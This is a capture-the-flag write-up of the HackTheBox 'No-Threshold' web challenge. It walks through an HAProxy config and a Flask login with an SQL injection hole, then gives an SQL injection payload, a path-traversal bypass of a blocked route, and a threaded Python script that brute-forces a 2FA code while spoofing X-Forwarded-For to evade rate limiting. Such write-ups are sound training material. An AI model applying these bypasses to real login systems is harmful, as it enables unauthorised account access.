HackTheBox - Challenges No-Threshold

09/12/2023 - 1 minutes

SQLi bruteforce bypass challenges hacking hackthebox haproxy rate_limiting web
  1. 1 Enumeration
  2. 2 Exploitation

# Enumeration

Dockerfile

FROM alpine:edge

RUN apk update && apk upgrade && apk add --no-cache \
    pcre \
    pcre-dev \
    make \
    gcc \
    musl-dev \
    linux-headers \
    python3 \
    python3-dev \
    py3-pip \
    sqlite \
    && rm -rf /var/cache/apk/*

WORKDIR /tmp

RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.3.tar.gz && \
    tar zxvf haproxy-*.tar.gz && \
    cd haproxy-* && \
    make TARGET=linux-musl && \
    make install
RUN rm -rf /tmp/haproxy-*

RUN mkdir -p /etc/haproxy
RUN mkdir -p /opt/www/app

COPY conf/haproxy.cfg /etc/haproxy/haproxy.cfg
COPY conf/requirements.txt /opt/www/app
COPY conf/uwsgi.ini /opt/www/app
COPY challenge/. /opt/www/app

WORKDIR /opt/www/app

RUN python3 -m venv /venv
ENV PATH="/venv/bin:$PATH"

RUN pip install -I --no-cache-dir -r requirements.txt 

RUN addgroup -S www-group && adduser -S -G www-group www-user && \
    chown -R www-user:www-group /opt/www/

WORKDIR /

COPY entrypoint.sh .
RUN chown www-user:www-group entrypoint.sh

RUN chmod 600 entrypoint.sh
RUN chmod +x entrypoint.sh

USER www-user

EXPOSE 1337

CMD ["./entrypoint.sh"]

Ok so immidietly haproxy installation stands out. Usually challenges don't setup such tools if they don't play a major role in the exploitation. Hence next we should check its config

conf/haproxy.cfg

global
    daemon
    maxconn 256

defaults
    mode http
    option forwardfor

    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    # Parse the X-Forwarded-For header value if it exists. If it doesn't exist, add the client's IP address to the X-Forwarded-For header. 
    http-request add-header X-Forwarded-For %[src] if !{ req.hdr(X-Forwarded-For) -m found }
    
    # Apply rate limit on the /auth/verify-2fa route.
    acl is_auth_verify_2fa path_beg,url_dec /auth/verify-2fa

    # Checks for valid IPv4 address in X-Forwarded-For header and denies request if malformed IPv4 is found. (Application accepts IP addresses in the range from 0.0.0.0 to 255.255.255.255.)
    acl valid_ipv4 req.hdr(X-Forwarded-For) -m reg ^([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])$
    
    http-request deny deny_status 400 if is_auth_verify_2fa !valid_ipv4

    # Crate a stick-table to track the number of requests from a single IP address. (1min expire)
    stick-table type ip size 100k expire 60s store http_req_rate(60s)

    # Deny users that make more than 20 requests in a small timeframe.
    http-request track-sc0 hdr(X-Forwarded-For) if is_auth_verify_2fa
    http-request deny deny_status 429 if is_auth_verify_2fa { sc_http_req_rate(0) gt 20 }

    # External users should be blocked from accessing routes under maintenance.
    http-request deny if { path_beg /auth/login }

backend backend
    balance roundrobin
    server s1 0.0.0.0:8888 maxconn 32 check

From the above we can see that haproxy imposes 2 things

  1. Stop any request beginning with /auth/login
  2. Ensure rate limit per valid ip from the X-Forwarded-For HTTP header for /auth/verify-2fa

We can think of 2 bypasses, the one being very obvious

  1. To bypass the rate limit just every time we hit /auth/verify-2fa we can set a different ip on X-Forwarded-For
  2. For /auth/login it is not as obvious, but it can be bypassed by requesting /../auth/login, because flask will resolve it to /auth/login, but haproxy will let it through as it doesn't start with /auth/login

Let's have a look on what this 2FA thing is all about

login.py

from flask import Blueprint, render_template, request, jsonify, redirect
from app.database import *
import random
import string
import uwsgi

login_bp = Blueprint("login", __name__, template_folder="templates")


def set_2fa_code(d):
    uwsgi.cache_del("2fa-code")
    uwsgi.cache_set(
        "2fa-code", "".join(random.choices(string.digits, k=d)), 300 # valid for 5 min
    ) 


@login_bp.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        
        username = request.form.get("username")
        password = request.form.get("password")

        if not username or not password:
            return render_template("public/login.html", error_message="Username or password is empty!"), 400
        try:
            user = query_db(
                f"SELECT username, password FROM users WHERE username = '{username}' AND password = '{password}'",
                one=True,
            )

            if user is None:
                return render_template("public/login.html", error_message="Invalid username or password"), 400

            set_2fa_code(4)

            return redirect("/auth/verify-2fa")
        finally:
            close_db()
    return render_template("public/login.html")

The vulnerability is so clear here, SQL injection, login as admin get to dashboard and flag! Unfortunately not so quick.

POST /auth/login HTTP/1.1
Host: 159.65.20.166:32693
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://159.65.20.166:32693/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

username=admin' --&password=pass

The above request will get blocked due to starting with /auth/login, but lets apply or bypass

This inded works but we get redirected to /auth/verify-2fa

def set_2fa_code(d):
    uwsgi.cache_del("2fa-code")
    uwsgi.cache_set(
        "2fa-code", "".join(random.choices(string.digits, k=d)), 300 # valid for 5 min
    ) 

and then in login.py

set_2fa_code(4)

# Exploitation

Ok as we have no rate limit, using our second bypass. Thus the title No-Threshold, we can bruteforce it, only 4 characters. Once we find it we can just get /dashboard and fetch the flag. I wrote a small script to automate the bruteforcin, remember it must be fast enough to find the code in the 5m timeframe.

import threading
import queue
import httpx as requests
import random

BURP_HOST = "localhost"
BURP_PORT = 9000
# Check is proxy is working
if requests.get(f"http://{BURP_HOST}:{BURP_PORT}").status_code == 200:
    proxies = {"http://": f"http://{BURP_HOST}:{BURP_PORT}", "https://": f"http://{BURP_HOST}:{BURP_PORT}"}
    s = requests.Client(proxies=proxies, verify=False)
else:
    s = requests.Client()

url = "http://159.65.20.166:32693"

def worker():
    while True:
        item = q.get()
        random_ip = ".".join([str(random.randint(0, 255)) for _ in range(4)])
        headers = {"X-Forwarded-For": random_ip}
        r = s.post(f"{url}/auth/verify-2fa", headers=headers, data={"2fa-code": f"{item:04}"})
        print(f"Trying 2fa code: {item:04} with ip: {random_ip}")
        if r.status_code == 429:
            print(f"Rate limited with ip: {random_ip}")
        elif "Invalid 2FA Code!" not in r.text:
            # print(r.text)
            print(f"CORRECT 2fa code: {item:04}")
            r = s.get(f"{url}/dashboard")
            print(r.text)
        q.task_done()

q = queue.Queue()
for i in range(10000):
    q.put(i)

for i in range(50):
    t = threading.Thread(target=worker)
    t.daemon = True
    t.start()

q.join()
python3 sol.py|grep HTB{

Then we can see the below message all over our terminal(Many threads)!

            Welcome, here is your flag: <b> HTB{f4k3_fl4g_f0r_t3st1ng} </b>